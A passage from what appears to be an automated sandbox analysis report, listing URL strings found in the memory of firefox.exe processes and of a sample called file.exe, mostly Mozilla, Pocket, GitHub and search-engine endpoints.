Source: firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001E.00000002.3031269537.00000270C9B0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031269537.00000270C9B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2983687435.00000270E4423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2983687435.00000270E4423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113713962.00001252B7304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114598645.00002E21BBD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3071808582.00000270DB73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114285473.000020CCD0A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3100479236.00000270E2312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeededresource://gre/modu
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000003.3010802699.00000270E23BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3111886581.00000270E5C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3101620325.00000270E23D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001E.00000002.3111886581.00000270E5C5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3002701967.00000270DBF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3101620325.00000270E23D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001E.00000003.3010802699.00000270E23BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3101620325.00000270E23D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114697021.000030E187A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6CB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3069796496.00000270DB244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabRemove
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001E.00000003.3008852300.00000270E4133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001E.00000003.3007114305.00000270E5CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.spocs-endpoint-query
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreparseGridPositions/gridPositions
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationssection.highlights.includeBookmarksresource://activity-stream/l
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2983687435.00000270E4423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001E.00000002.3104091280.00000270E3FF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001E.00000002.3104091280.00000270E3FF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001E.00000003.2966388903.00000270DA66B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965350403.00000270DA400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965635133.00000270DA61C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsMozilla
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E40A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113713962.00001252B7304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/experimental-features-ime-searchget
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000003.3008157636.00000270E4186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitNumber
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4092000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001E.00000002.3101394595.00000270E2372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3000078726.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067377430.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993517878.00000270E238A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001E.00000002.3052198523.00000270DA316000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3052950108.00000270DA46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
